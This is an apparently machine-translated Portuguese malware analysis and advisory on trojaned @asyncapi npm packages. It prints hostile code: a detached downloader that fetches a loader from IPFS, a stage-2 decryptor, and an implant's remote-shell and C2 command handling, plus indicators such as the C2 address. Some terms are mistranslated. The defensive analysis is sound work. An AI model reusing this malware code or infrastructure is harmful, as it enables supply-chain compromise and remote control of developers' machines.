Identificámos cinco ficheiros infectados com trojans @asyncapi pacotes publicados em 14 de julho de 2026. O atacante roubou um token de publicação do npm ao explorar uma pull_request_target aproveitou uma vulnerabilidade no fluxo de trabalho do repositório do gerador AsyncAPI e, em seguida, injetou um downloader ofuscado nos módulos de execução normais de quatro pacotes. A importação de qualquer um dos pacotes afetados faz com que seja obtido um carregador Node.js encriptado a partir do IPFS, que é gravado no disco como sync.js, e inicia-o como um processo independente.
A cadeia termina num implante persistente com um shell remoto real. A estrutura da carga útil identifica-se como M-RED-TEAM v6.4 nos próprios comentários do código. A recolha de credenciais e a autopropagação estão presentes no código, mas desativadas nesta versão. O shell é suficiente para que o operador recolha dados e execute comandos arbitrários sem essas funcionalidades.
No total, os pacotes somam cerca de 2,9 milhões de downloads semanais, com @asyncapi/specs sendo que só este representa cerca de 2,7 milhões.
Como é que o atacante conseguiu acesso de publicação
O asyncapi/generator o repositório utilizou um Fluxo de trabalho do GitHub Actions com um pull_request_target gatilho. Este gatilho é executado com acesso aos secrets do repositório, secrets quando o fluxo de trabalho faz o check-out do código a partir de um pedido de integração externo, o que constitui uma armadilha bem conhecida.
Um colaborador identificou a vulnerabilidade e abriu um PR de correção (#2092) a 17 de maio. Quase dois meses depois, quando o ataque ocorreu, este ainda não tinha sido integrado.
Às 05:08 UTC do dia 14 de julho, o atacante abriu 37 pedidos de integração no repositório do gerador. Um deles, Comunicado de Imprensa n.º 2155, continha código JavaScript ofuscado que extraía o token de publicação do npm para rentry[.]co. O fluxo de trabalho foi concluído às 05:16 UTC. Com o token em mãos, o atacante enviou commits maliciosos para o a seguir criaram um ramo às 06:58 UTC e publicaram os primeiros pacotes comprometidos às 07:10 UTC. Em seguida, passaram a asyncapi/spec-json-schemas, realizando 11 commits entre as 07:51 e as 08:28 UTC para publicar as versões das especificações.
Atribuição
O ataque envolve três sinais sobrepostos que não apontam todos para o mesmo local.
A técnica de acesso inicial (uma inundação de PR direcionada a um pull_request_target (fluxo de trabalho com um «dead-drop» do rentry[.]co) corresponde aos padrões da campanha «prt-scan», anteriormente observados em ataques semelhantes de roubo de segredos no GitHub Actions.
A estrutura de carga útil identifica-se como M-RED-TEAM v6.4 nos comentários do código ao longo do código-fonte da fase 3 recuperado. Essa é a designação mais direta que o próprio código se atribui.
Os nomes dos artefactos e a configuração seguem a identidade de marca da Miasma: o alvo de compilação é miasma-train-p1, os caminhos de bloqueio e de identidade do tempo de execução encontram-se em ~/.config/.miasma/, os artefactos de persistência são denominados monitor de miasmas, e os certificados de spawn utilizam a cadeia de formato miasma-spawn-cert-v1. Estes sobrepõem-se aos versão anterior do kit de ferramentas Miasma, embora Um investigador da SafeDep observou que as cargas úteis diferem: a versão anterior era baseada no Bun, com RSA, propagação ativa e um mecanismo «deadman» destrutivo; esta é baseada no Node, com secp256k1/AES-GCM, HTTP C2 e essas funcionalidades desativadas.
Não é possível determinar, com base nas provas, se o acesso inicial ao prt-scan e a carga útil do M-RED-TEAM correspondem a um único operador ou a entidades distintas. A marca «Miasma» pode refletir a reutilização de código, imitação ou uma designação errada deliberada. Não se faz aqui qualquer atribuição definitiva.
Cinco conjuntos de propulsão foram responsáveis pela primeira fase
As versões comprometidas:
@asyncapi/specs@6.11.2@asyncapi/specs@6.11.2-alpha.1@asyncapi/generator@3.3.1@asyncapi/generator-helpers@1.1.1@asyncapi/generator-components@0.7.1
O código malicioso não se encontra num gancho do ciclo de vida do npm. Foi inserido em módulos que são executados durante a utilização normal: o especificações ponto de entrada, um gerador validador, um utilitário auxiliar e um módulo de gestão de erros dos componentes. A carga útil é executada quando o módulo é carregado, pelo que um simples require() é suficiente para o ativar.
Em @asyncapi/specs, o downloader é adicionado no início das exportações reais do esquema:
import { spawn } from 'child_process';
// fs, path, https, os imported above
async function main() {
try {
const child = spawn(
'node',
[
'-e',
`/* obfuscated downloader, ~3 KB, elided */`,
],
{
detached: true,
stdio: 'ignore',
windowsHide: true,
}
);
child.unref();
} catch (error) {
console.error(error.message);
}
}
main();
module.exports = {
schemas: {
'2.0.0': require('./schemas/2.0.0.json'),
// ...through 3.1.0
},
};O programa de transferência é executado num processo filho independente. Após chamar child.unref(), o processo pai encerra imediatamente e o download continua em segundo plano.
O node -e A carga útil está ofuscada, mas a sua tabela de pesquisa de cadeias de caracteres contém o URL do IPFS e o nome do ficheiro de destino em texto simples:
// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']O ramo «specs» obtém o CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. O ramo da família de geradores obtém QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Ambos escrevem sync.js para um diretório de dados NodeJS por utilizador: ~/Biblioteca/Apoio a Aplicações/NodeJS no macOS, %LOCALAPPDATA%\NodeJS no Windows, ~/.local/share/NodeJS no Linux.
Fase 2: carregadores encriptados do IPFS
Os dois objetos IPFS são carregadores de JavaScript ofuscados: 8 243 380 bytes (especificações) e 8 254 481 bytes (família de geradores). Cada um deles deriva uma chave AES-256-GCM através do HKDF-SHA256, descodifica um cofre incorporado, reverte uma rotação de caracteres ASCII imprimíveis e avalia o resultado. Extraímos a lógica para um descodificador não executável:
const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
'rt-vault-master-key-32b-aaaaaaaa',
'utf8'
); // 32 bytes
function gcmDecrypt(buf, key) {
const iv = buf.slice(0, 12);
const tag = buf.slice(buf.length - 16);
const ct = buf.slice(12, buf.length - 16);
const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
d.setAuthTag(tag);
return Buffer.concat([d.update(ct), d.final()]);
}
// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
'sha256',
Buffer.from(_km, 'utf8'),
Buffer.alloc(0),
Buffer.from('rt-file-key', 'utf8'),
32
);
const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');
// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;
const stage3 = [...rotSrc]
.map((ch) => {
const c = ch.charCodeAt(0);
return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
? String.fromCharCode(
ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
)
: ch;
})
.join('');As etiquetas de autenticação GCM são válidas para ambas as compilações. Cada carregador contém também um sourceBundle campo encriptado com a mesma chave; corresponde, byte a byte, ao ficheiro da fase 3 recuperado. A configuração incorporada utiliza uma chave separada derivada de rt-baked-key e o mesmo mestre codificado de forma rígida.
Os dois ficheiros recuperados da fase 3:
- Especificações da compilação: 3 088 921 bytes, SHA-256
f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b - Compilação da família de geradores: 3 093 085 bytes, SHA-256
9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a
A compilação da família de geradores introduz uma diferença de comportamento: um temporizador que volta a verificar o C2 principal após a comutação de emergência e volta a alternar para ele quando este se recupera. Outras diferenças prendem-se com declarações irrelevantes geradas automaticamente.
Ambas as compilações incluem uma cadeia de geração secp256k1 com dois certificados. Ambas as assinaturas são válidas. A cadeia não impede que esta semente seja executada.
Campos de configuração enganosos
Os primeiros relatos caracterizaram isto como um «canário de segurança», com base nos valores dos campos de configuração. A configuração predefinida que recuperámos:
{
"config": {
"safeMode": true,
"c2Server": "http://85.137.53.71:8080",
"shellBlacklist": ["killall"],
"batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
},
"target": { "name": "miasma-train-p1", "ecosystem": "npm" },
"actualPersist": false,
"testMode": false,
"toggles": {
"recon": false,
"persist": true,
"propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
"evasion": false,
"metamorphic": false
}
}Nenhum dos três valores dos campos se confirma na análise do gráfico de chamadas:
safeMode: true: o ponto de entrada passa a configuração diretamente para a função de arranque e nunca chama amodo de segurançavalidador.actualPersist: false: a função de arranque lêtoggles.persist, nãoactualPersist.toggles.persistétrue. A persistência está em execução.canaryPercent: 5: oBatchDispatchO comando não está implementado e nenhum percurso de seleção de vítimas lê este campo. Não tem qualquer efeito.
O que faz o implante
Na primeira execução, a carga útil gera um par de chaves secp256k1 e armazena-o num caminho específico da plataforma, disfarçado como um ficheiro de cache do sistema. Utiliza ~/.config/.miasma/run/node.lock para evitar instâncias duplicadas.
Persistência por plataforma:
- macOS: acrescenta um
nohupbloco para.zshrc,.bashrc, ou.bash_profile - Windows: grava em HKCU
Executevalormonitor de miasmas - Linux: gravações
~/.config/systemd/user/miasma-monitor.servicee ativa-a. OExecStartFalta um wrapper do shell, pelo que é provável que a unidade não consiga iniciar, mas os ficheiros são gravados.
O implante emite sinais para hxxp://85[.]137[.]53[.]71:8080 aproximadamente a cada 30 segundos. Os beacons são assinados e encriptados com a chave pública do atacante. Mesmo com recon desativado, cada baliza inclui pré-visualizações censuradas de PATH, INÍCIO, USER, e NOME DO HOST, e verifica se existem ficheiros de configuração do Cursor, do Claude e do VS Code na pasta /app.
Os comandos são normalmente enviados num envelope encriptado. Quando não existe nenhum pacote encriptado, o processador recorre ao texto simples comandos array:
async dispatchResponseCommands(resp) {
let commands = [];
if (
this.commandCipher &&
resp.encryptedCommands &&
resp.encryptedCommands.length > 0
) {
for (const env of resp.encryptedCommands) {
try {
commands.push(this.commandCipher.decryptCommand(env));
} catch (e) {
this.sinkError(e);
}
}
} else {
// plaintext fallback, active when cipher absent
commands = resp.commands;
}
for (const cmd of commands) {
await this.handler(cmd);
}
}
Como o C2 utiliza o protocolo HTTP, um atacante «on-path» pode injetar comandos através deste caminho.
Comando 11 (ShellExec) encaminha o pedido para child_process.exec(). O único comando incluído na lista negra é killall:
ShellExecutorImpl = class {
constructor(cfg, runner) {
this.blacklist = new Set(
cfg.shellBlacklist
.map(normalizeCmd)
.filter((b) => b.length > 0)
); // shipped config: ["killall"]
this.runner = runner ?? new ExecFileRunner();
}
async exec(req) {
if (!this.isAllowed(req.command)) {
return {
exitCode: 126,
stdout: '',
stderr: '',
}; // DENIED
}
// testMode is false in this seed, so the real shell runs
return new Promise((resolve) => {
import_node_child_process.exec(
[req.command, ...req.args].join(' '),
{
cwd: req.cwd,
timeout: timeoutMs,
maxBuffer: 1 << 20,
windowsHide: true,
},
(err, stdout, stderr) =>
resolve({
exitCode: err?.code ?? 0,
stdout,
stderr,
})
);
});
}
};Os comandos de ficheiros (list, get, put) estão isolados numa área de teste com um valor fixo /sim-fs caminho. O comando «delete» não está implementado. O shell não tem essa restrição.
As atualizações da carga útil provêm de duas fontes: um comando do operador que fornece um novo CID, ou um ciclo de sondagem de dois minutos que verifica se existe uma versão mais recente no Nostr e na Ethereum. As atualizações do Nostr são verificadas através da assinatura. Os registos da Ethereum são aceites sem verificação da assinatura (trustUnsignedBlockchain: true). Uma atualização recuperada é gravada no disco como um .bin/.cache/.dat ficheiro, executado com o Node, e autorizado a substituir o processo atual.
O que está no código, mas não está ativo
O pacote contém um programa completo de recolha de credenciais que abrange credenciais na nuvem, tokens de gestores de pacotes, chaves SSH/GPG, históricos de shell, navegadores, sistemas de CI/CD, ferramentas de desenvolvimento de IA, bases de dados, carteiras, contentores e gestores de palavras-passe. Pode descarregar o Gitleaks e o HackBrowserData para auxiliar na recolha. Nada disto é executado porque toggles.recon é falso; o harvester encerra antes de recolher qualquer coisa. O shell pode obter o mesmo resultado manualmente.
Os vetores de propagação para o npm, o PyPI e o Cargo estão presentes e implementados. Todas as opções de propagação estão desativadas; a única trySpread() a chamada é protegida pelo modo persistente (que retorna antes de chegar a ela), e a Propagar O comando não está implementado. Não ocorre qualquer propagação.
O mecanismo de mutação, as verificações de evasão, o envenenamento de ferramentas de IA e o interruptor de segurança estão todos desativados. A implementação do apagamento grava um ficheiro marcador em ~/Documentos/SIMULATION_WIPE_TRIGGERED.txt em vez de apagar alguma coisa.
C2 e infraestruturas de apoio
O HTTP na porta 8080 é o único canal de sinalização e comando efetivo. Os outros protocolos têm funções mais específicas:
- Nostr: fornece atualizações de endereços, registos assinados de atualização de carga útil e endereços múltiplos de pares
- Ethereum: fornece endereços de serviço em modo de leitura e registos de atualização
- IPFS: aloja objetos de carga útil e dados encriptados
- libp2p / BitTorrent DHT / mDNS: deteção de pares e «gossip»; sem tráfego de comandos nem de balizas
Vários métodos genéricos de envio e de comando nos transportes de nível inferior não têm qualquer efeito nesta versão.
Indicadores de comprometimento
Pacotes
SHA-256 da versão do pacote@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab
Rede
- C2:
85[.]137[.]53[.]71:8080, carregar::8081, gestão de procurações::8091 - Bloco RIPE
85.137.53.0/24, objetoVSYS-AMS, AS43641 - Contrato Ethereum
0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, ID da cadeia 1 - Os nossos relés:
wss://relay.damus.io,wss://relay.nostr.com/ - Inicialização do DHT:
router.bittorrent.com:6881,dht.transmissionbt.com:6881
Host
- Queda:
sync.jsno diretório de dados do Node.js de cada utilizador (caminhos indicados acima) - Fechadura:
~/.config/.miasma/run/node.lock - Identidade do macOS:
~/Biblioteca/Apoio a Aplicações/com.apple.spotlight/index-v2.cache - Identidade do Linux:
~/.cache/mesa_shader_cache/gl_cache.bin - Identidade do Windows:
%HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat - Persistência no Linux:
~/.config/systemd/user/miasma-monitor.service - Valor da função «Executar» do Windows:
monitor de miasmas
Criptomoedas
- Chave pública secp256k1 do atacante:
0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e
O que fazer agora
Rebaixar para @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, e @asyncapi/generator-components@0.7.0. Remova as cinco versões comprometidas dos manifestos, ficheiros de bloqueio, caches, espelhos internos e imagens de compilação. Procure sistemas que importado os módulos afetados, e não apenas os sistemas onde o pacote foi instalado, uma vez que o implante funciona em require().
Em qualquer host suspeito: isole e guarde primeiro o estado volátil. Procure as vias de «drop», «lock», «identity» e «persistence» acima referidas, bem como processos «Node» invulgares e desligados. Verifique se existem ligações às portas C2 e se há atividade do «Node» correlacionada com IPFS, Nostr, Ethereum RPC, DHT ou mDNS.
Considere as credenciais disponíveis numa máquina de desenvolvimento ou num host de compilação afetado como potencialmente expostas através de comandos de shell. Renove os tokens do npm, o acesso ao controlo de código-fonte, as credenciais na nuvem, secrets de CI/CD, as chaves SSH, as chaves de assinatura e as sessões do navegador a partir de uma máquina limpa. Recrie os hosts comprometidos.
O @asyncapi/specs@6.11.2-alpha.1 O ficheiro tarball continua disponível para download na sua URL direta, apesar de não constar dos metadados do registo. É necessário eliminá-lo do armazenamento secundário e da CDN.
Como a Aikido detecta isso
Se é Aikido , verifique o seu feed central e filtre por problemas de malware. Todas as cinco versões comprometidas aparecem como um problema crítico com pontuação de 100/100. Se ainda não tem uma conta, crie uma e ligue os seus repositórios — a cobertura de malware está incluída no plano gratuito, sem necessidade de cartão de crédito.
Aikido Protection oferece-lhe visibilidade sobre os pacotes instalados nos dispositivos da sua equipa, incluindo bibliotecas, plug-ins de IDE e dependências de compilação. Aikido Chain (código aberto) integra-se no seu fluxo de trabalho existente e verifica os pacotes com base Aikido antes de o npm, o yarn ou o pnpm os instalarem.

